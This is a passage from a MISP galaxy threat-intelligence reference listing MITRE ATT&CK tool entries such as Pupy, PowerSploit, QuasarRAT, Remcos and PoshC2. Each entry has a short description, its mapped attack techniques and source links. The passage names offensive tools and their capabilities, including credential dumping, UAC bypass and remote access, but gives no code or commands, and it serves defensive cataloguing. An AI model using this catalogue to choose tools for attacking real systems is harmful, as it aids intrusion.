uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"

Table 3445. Table References
Links
https://attack.mitre.org/software/S0111
https://technet.microsoft.com/en-us/library/bb490996.aspx

Lslsass - S0121

[Lslsass](https://attack.mitre.org/software/S0121) is a publicly-available tool that can dump active logon session password hashes from the lsass process. (Citation: Mandiant APT1)

The tag is: misp-galaxy:mitre-tool="Lslsass - S0121"

Lslsass - S0121 is also known as:

Lslsass

Lslsass - S0121 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

Table 3446. Table References
Links
https://attack.mitre.org/software/S0121
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf

UACMe - S0116

[UACMe](https://attack.mitre.org/software/S0116) is an open source assessment tool that contains many methods for bypassing Windows User Account Control on multiple versions of the operating system. (Citation: Github UACMe)

The tag is: misp-galaxy:mitre-tool="UACMe - S0116"

UACMe - S0116 is also known as:

UACMe

UACMe - S0116 has relationships with:

similar: misp-galaxy:malpedia="UACMe" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"

Table 3447. Table References
Links
https://attack.mitre.org/software/S0116
https://github.com/hfiref0x/UACME

Cachedump - S0119

[Cachedump](https://attack.mitre.org/software/S0119) is a publicly-available tool that program extracts cached password hashes from a system’s registry. (Citation: Mandiant APT1)

The tag is: misp-galaxy:mitre-tool="Cachedump - S0119"

Cachedump - S0119 is also known as:

Cachedump

Cachedump - S0119 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

Table 3448. Table References
Links
https://attack.mitre.org/software/S0119
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf

Winexe - S0191

[Winexe](https://attack.mitre.org/software/S0191) is a lightweight, open source tool similar to [PsExec](https://attack.mitre.org/software/S0029) designed to allow system administrators to execute commands on remote servers. (Citation: Winexe Github Sept 2013) [Winexe](https://attack.mitre.org/software/S0191) is unique in that it is a GNU/Linux based client. (Citation: Überwachung APT28 Forfiles June 2015)

The tag is: misp-galaxy:mitre-tool="Winexe - S0191"

Winexe - S0191 is also known as:

Winexe

Winexe - S0191 has relationships with:

similar: misp-galaxy:tool="Winexe" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1035" with estimative-language:likelihood-probability="almost-certain"

Table 3449. Table References
Links
https://attack.mitre.org/software/S0191
https://github.com/skalkoto/winexe/
https://netzpolitik.org/2015/digital-attack-on-german-parliament-investigative-report-on-the-hack-of-the-left-party-infrastructure-in-bundestag/

xCmd - S0123

[xCmd](https://attack.mitre.org/software/S0123) is an open source tool that is similar to [PsExec](https://attack.mitre.org/software/S0029) and allows the user to execute applications on remote systems. (Citation: xCmd)

The tag is: misp-galaxy:mitre-tool="xCmd - S0123"

xCmd - S0123 is also known as:

xCmd

xCmd - S0123 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1035" with estimative-language:likelihood-probability="almost-certain"

Table 3450. Table References
Links
https://attack.mitre.org/software/S0123
https://ashwinrayaprolu.wordpress.com/2011/04/12/xcmd-an-alternative-to-psexec/

Pupy - S0192

[Pupy](https://attack.mitre.org/software/S0192) is an open source, cross-platform (Windows, Linux, OSX, Android) remote administration and post-exploitation tool. (Citation: GitHub Pupy) It is written in Python and can be generated as a payload in several different ways (Windows exe, Python file, PowerShell oneliner/file, Linux elf, APK, Rubber Ducky, etc.). (Citation: GitHub Pupy) [Pupy](https://attack.mitre.org/software/S0192) is publicly available on GitHub. (Citation: GitHub Pupy)

The tag is: misp-galaxy:mitre-tool="Pupy - S0192"

Pupy - S0192 is also known as:

Pupy

Pupy - S0192 has relationships with:

similar: misp-galaxy:rat="Pupy" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1046" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and Relay - T1171" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Create Account - T1136" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1035" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Multilayer Encryption - T1079" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Systemd Service - T1501" with estimative-language:likelihood-probability="almost-certain"

Table 3451. Table References
Links
https://attack.mitre.org/software/S0192
https://github.com/n1nj4sec/pupy

MailSniper - S0413

MailSniper is a penetration testing tool for searching through email in a Microsoft Exchange environment for specific terms (passwords, insider intel, network architecture information, etc.). It can be used by a non-administrative user to search their own email, or by an Exchange administrator to search the mailboxes of every user in a domain.(Citation: GitHub MailSniper)

The tag is: misp-galaxy:mitre-tool="MailSniper - S0413"

MailSniper - S0413 is also known as:

MailSniper

MailSniper - S0413 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"

Table 3452. Table References
Links
https://attack.mitre.org/software/S0413
https://github.com/dafthack/MailSniper

Expand - S0361

[Expand](https://attack.mitre.org/software/S0361) is a Windows utility used to expand one or more compressed CAB files.(Citation: Microsoft Expand Utility) It has been used by [BBSRAT](https://attack.mitre.org/software/S0127) to decompress a CAB file into executable content.(Citation: Palo Alto Networks BBSRAT)

The tag is: misp-galaxy:mitre-tool="Expand - S0361"

Expand - S0361 is also known as:

Expand

Expand - S0361 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1096" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

Table 3453. Table References
Links
https://attack.mitre.org/software/S0361
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/expand
http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/

Tor - S0183

[Tor](https://attack.mitre.org/software/S0183) is a software suite and network that provides increased anonymity on the Internet. It creates a multi-hop proxy network and utilizes multilayer encryption to protect both the message and routing information. [Tor](https://attack.mitre.org/software/S0183) utilizes "Onion Routing," in which messages are encrypted with multiple layers of encryption; at each step in the proxy network, the topmost layer is decrypted and the contents forwarded on to the next node until it reaches its destination. (Citation: Dingledine Tor The Second-Generation Onion Router)

The tag is: misp-galaxy:mitre-tool="Tor - S0183"

Tor - S0183 is also known as:

Tor - S0183 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Multilayer Encryption - T1079" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1188" with estimative-language:likelihood-probability="almost-certain"

Table 3454. Table References
Links
https://attack.mitre.org/software/S0183
http://www.dtic.mil/dtic/tr/fulltext/u2/a465464.pdf

Forfiles - S0193

[Forfiles](https://attack.mitre.org/software/S0193) is a Windows utility commonly used in batch jobs to execute commands on one or more selected files or directories (ex: list all directories in a drive, read the first line of all files created yesterday, etc.). Forfiles can be executed from either the command line, Run window, or batch files/scripts. (Citation: Microsoft Forfiles Aug 2016)

The tag is: misp-galaxy:mitre-tool="Forfiles - S0193"

Forfiles - S0193 is also known as:

Forfiles

Forfiles - S0193 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

Table 3455. Table References
Links
https://attack.mitre.org/software/S0193
https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc753551(v=ws.11)

Responder - S0174

Responder is an open source tool used for LLMNR, NBT-NS and MDNS poisoning, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication. (Citation: GitHub Responder)

The tag is: misp-galaxy:mitre-tool="Responder - S0174"

Responder - S0174 is also known as:

Responder

Responder - S0174 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and Relay - T1171" with estimative-language:likelihood-probability="almost-certain"

Table 3456. Table References
Links
https://attack.mitre.org/software/S0174
https://github.com/SpiderLabs/Responder

PowerSploit - S0194

[PowerSploit](https://attack.mitre.org/software/S0194) is an open source, offensive security framework comprised of [PowerShell](https://attack.mitre.org/techniques/T1086) modules and scripts that perform a wide range of tasks related to penetration testing such as code execution, persistence, bypassing anti-virus, recon, and exfiltration. (Citation: GitHub PowerSploit May 2012) (Citation: PowerShellMagazine PowerSploit July 2014) (Citation: PowerSploit Documentation)

The tag is: misp-galaxy:mitre-tool="PowerSploit - S0194"

PowerSploit - S0194 is also known as:

PowerSploit

PowerSploit - S0194 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credentials in Registry - T1214" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1208" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Security Support Provider - T1101" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1038" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Path Interception - T1034" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1066" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify Existing Service - T1031" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"

Table 3457. Table References
Links
https://attack.mitre.org/software/S0194
https://github.com/PowerShellMafia/PowerSploit
http://www.powershellmagazine.com/2014/07/08/powersploit/
http://powersploit.readthedocs.io

meek - S0175

[meek](https://attack.mitre.org/software/S0175) is an open-source Tor plugin that tunnels Tor traffic through HTTPS connections.

The tag is: misp-galaxy:mitre-tool="meek - S0175"

meek - S0175 is also known as:

meek

meek - S0175 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Domain Fronting - T1172" with estimative-language:likelihood-probability="almost-certain"

Table 3458. Table References
Links
https://attack.mitre.org/software/S0175

SDelete - S0195

[SDelete](https://attack.mitre.org/software/S0195) is an application that securely deletes data in a way that makes it unrecoverable. It is part of the Microsoft Sysinternals suite of tools. (Citation: Microsoft SDelete July 2016)

The tag is: misp-galaxy:mitre-tool="SDelete - S0195"

SDelete - S0195 is also known as:

SDelete

SDelete - S0195 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"

Table 3459. Table References
Links
https://attack.mitre.org/software/S0195
https://docs.microsoft.com/en-us/sysinternals/downloads/sdelete

MimiPenguin - S0179

[MimiPenguin](https://attack.mitre.org/software/S0179) is a credential dumper, similar to [Mimikatz](https://attack.mitre.org/software/S0002), designed specifically for Linux platforms. (Citation: MimiPenguin GitHub May 2017)

The tag is: misp-galaxy:mitre-tool="MimiPenguin - S0179"

MimiPenguin - S0179 is also known as:

MimiPenguin

MimiPenguin - S0179 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

Table 3460. Table References
Links
https://attack.mitre.org/software/S0179
https://github.com/huntergregal/mimipenguin

Havij - S0224

[Havij](https://attack.mitre.org/software/S0224) is an automatic SQL Injection tool distributed by the Iranian ITSecTeam security company. Havij has been used by penetration testers and adversaries. (Citation: Check Point Havij Analysis)

The tag is: misp-galaxy:mitre-tool="Havij - S0224"

Havij - S0224 is also known as:

Havij

Havij - S0224 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

Table 3461. Table References
Links
https://attack.mitre.org/software/S0224
https://blog.checkpoint.com/2015/05/14/analysis-havij-sql-injection-tool/

sqlmap - S0225

[sqlmap](https://attack.mitre.org/software/S0225) is an open source penetration testing tool that can be used to automate the process of detecting and exploiting SQL injection flaws. (Citation: sqlmap Introduction)

The tag is: misp-galaxy:mitre-tool="sqlmap - S0225"

sqlmap - S0225 is also known as:

sqlmap

sqlmap - S0225 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

Table 3462. Table References
Links
https://attack.mitre.org/software/S0225
http://sqlmap.org/

QuasarRAT - S0262

[QuasarRAT](https://attack.mitre.org/software/S0262) is an open-source, remote access tool that is publicly available on GitHub. [QuasarRAT](https://attack.mitre.org/software/S0262) is developed in the C# language. (Citation: GitHub QuasarRAT) (Citation: Volexity Patchwork June 2018)

The tag is: misp-galaxy:mitre-tool="QuasarRAT - S0262"

QuasarRAT - S0262 is also known as:

QuasarRAT
xRAT

QuasarRAT - S0262 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1503" with estimative-language:likelihood-probability="almost-certain"

Table 3463. Table References
Links
https://attack.mitre.org/software/S0262
https://github.com/quasar/QuasarRAT
https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/
https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf

spwebmember - S0227

[spwebmember](https://attack.mitre.org/software/S0227) is a Microsoft SharePoint enumeration and data dumping tool written in .NET. (Citation: NCC Group APT15 Alive and Strong)

The tag is: misp-galaxy:mitre-tool="spwebmember - S0227"

spwebmember - S0227 is also known as:

spwebmember

spwebmember - S0227 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Data from Information Repositories - T1213" with estimative-language:likelihood-probability="almost-certain"

Table 3464. Table References
Links
https://attack.mitre.org/software/S0227
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/

Remcos - S0332

[Remcos](https://attack.mitre.org/software/S0332) is a closed-source tool that is marketed as a remote control and surveillance software by a company called Breaking Security. [Remcos](https://attack.mitre.org/software/S0332) has been observed being used in malware campaigns.(Citation: Riskiq Remcos Jan 2018)(Citation: Talos Remcos Aug 2018)

The tag is: misp-galaxy:mitre-tool="Remcos - S0332"

Remcos - S0332 is also known as:

Remcos

Remcos - S0332 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"

Table 3465. Table References
Links
https://attack.mitre.org/software/S0332
https://www.riskiq.com/blog/labs/spear-phishing-turkish-defense-contractors/
https://blog.talosintelligence.com/2018/08/picking-apart-remcos.html
https://www.fortinet.com/blog/threat-research/remcos-a-new-rat-in-the-wild-2.html

PoshC2 - S0378

[PoshC2](https://attack.mitre.org/software/S0378) is an open source remote administration and post-exploitation framework that is publicly available on GitHub. The server-side components of the tool are primarily written in Python, while the implants are written in [PowerShell](https://attack.mitre.org/techniques/T1086). Although [PoshC2](https://attack.mitre.org/software/S0378) is primarily focused on Windows implantation, it does contain a basic Python dropper for Linux/macOS.(Citation: GitHub PoshC2)

The tag is: misp-galaxy:mitre-tool="PoshC2 - S0378"

PoshC2 - S0378 is also known as:

PoshC2

PoshC2 - S0378 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and Relay - T1171" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1075" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1084" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1035" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Password Policy Discovery - T1201" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1046" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"

Table 3466. Table References
Links
https://attack.mitre.org/software/S0378
https://github.com/nettitude/PoshC2_Python

Xbot - S0298

[Xbot](https://attack.mitre.org/software/S0298) is an Android malware family that was observed in 2016 primarily targeting Android users in Russia and Australia. (Citation: PaloAlto-Xbot)

The tag is: misp-galaxy:mitre-tool="Xbot - S0298"

Xbot - S0298 is also known as:

Xbot

Xbot - S0298 has relationships with:

similar: misp-galaxy:banker="TinyNuke" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="Xbot" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="TinyNuke" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Device Lockout - T1446" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Prompt - T1411" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1471" with estimative-language:likelihood-probability="almost-certain"

Table 3467. Table References
Links
https://attack.mitre.org/software/S0298
http://researchcenter.paloaltonetworks.com/2016/02/new-android-trojan-xbot-phishes-credit-cards-and-bank-accounts-encrypts-devices-for-ransom/

Empire - S0363

[Empire](https://attack.mitre.org/software/S0363) is an open source, cross-platform remote administration and post-exploitation framework that is publicly available on GitHub. While the tool itself is primarily written in Python, the post-exploitation agents are written in pure [PowerShell](https://attack.mitre.org/techniques/T1086) for Windows and Python for Linux/macOS. [Empire](https://attack.mitre.org/software/S0363) was one of five tools singled out by a joint report on public hacking tools being widely used by adversaries.(Citation: NCSC Joint Report Public Tools)(Citation: Github PowerShell Empire)(Citation: GitHub ATTACK Empire)

The tag is: misp-galaxy:mitre-tool="Empire - S0363"

Empire - S0363 is also known as:

Empire
EmPyre
PowerShell Empire

